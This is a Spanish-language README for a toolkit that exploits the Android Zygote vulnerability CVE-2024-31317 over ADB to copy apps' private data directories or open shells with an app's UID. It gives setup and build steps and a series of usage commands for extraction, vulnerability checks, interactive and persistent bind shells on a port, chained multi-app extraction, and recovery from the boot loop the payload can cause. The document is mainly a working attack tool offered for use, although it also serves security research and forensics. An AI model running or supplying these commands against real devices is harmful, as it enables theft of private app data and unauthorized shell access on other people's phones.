Zygote Toolkit - CVE-2024-31317

Este es un toolkit que utiliza CVE-2024-31317 para extraer datos privados de aplicaciones a través de ADB o lanzar una shell con el UID de una aplicación. Esta vulnerabilidad afecta a las versiones de Android 9 a 14 con nivel de parche de seguridad 2024-06-01 o inferior. A continuación se encuentra una matriz de soporte de los dispositivos probados.

Requisitos previos

Debian/Ubuntu (paquetes del sistema)

sudo apt update
sudo apt install adb openjdk-17-jdk-headless android-sdk android-sdk-build-tools
export ANDROID_HOME=/usr/lib/android-sdk
export PATH=$PATH:$ANDROID_HOME/build-tools/34.0.0:$ANDROID_HOME/platform-tools

Añade las líneas export a ~/.bashrc (o equivalente) para que sean persistentes.

Verificación

./setup.sh

Inicio rápido

# Build and install the carrier APK (auto-builds from source)
python3 cve_2024_31317.py com.google.android.youtube --setup --rebuild -y

# Extract an app's data directory
python3 cve_2024_31317.py -d DEVICE_SERIAL -E -o app_data.tar -y com.example.app

El exploit lo construye todo a partir de Hijack.java y AndroidManifest.xml en la primera ejecución.

Uso

python3 cve_2024_31317.py [flags] [package]

Modos

Opciones

Ejemplos

# Extraction
python3 cve_2024_31317.py -d DEVICE -E -o youtube.tar -y com.google.android.youtube

# Check if device is vulnerable
python3 cve_2024_31317.py -d DEVICE --check-vuln

# Interactive bind shell
python3 cve_2024_31317.py -d DEVICE -i -y com.google.android.youtube

# Persistent shell on port 7777
python3 cve_2024_31317.py -d DEVICE -S 7777 -y com.google.android.youtube

# Multi-app chain
python3 cve_2024_31317.py -d DEVICE -E -y --chain-targets "app1,app2,app3"

# Recovery only (fix boot loop)
python3 cve_2024_31317.py -d DEVICE --recover

Compilación desde el código fuente

Todo se compila desde el código fuente en tiempo de ejecución. La cadena de compilación utiliza javac (JDK 17+), d8, aapt, zipalign y apksigner del Android SDK.

• x86_64 → arm64: las herramientas se ejecutan de forma nativa; el resultado DEX es independiente de la arquitectura
• ARM64 → arm64: todo se ejecuta de forma nativa (Adoptium proporciona compilaciones de JDK para ARM64)

Código de acceso

Si el dispositivo tiene un código de acceso, arranca en BFU (Before First Unlock). El exploit sondea sys.user.0.ce_available durante un máximo de 5 minutos hasta que desbloquees. Se recomienda eliminar el código de acceso durante la duración del exploit.

Dispositivos probados

† Específico de Samsung One UI: la inyección ZNJECT tiene éxito y la extracción con -E funciona, pero la shell bind ServerSocket de toybox nc nunca se abre. Se necesita más investigación para encontrar la causa raíz del problema.

Recuperación

El payload que permanece en hidden_api_blacklist_exemptions puede causar un bucle de arranque en el siguiente reinicio. Ejecuta --recover para restablecer:

python3 cve_2024_31317.py -d DEVICE --recover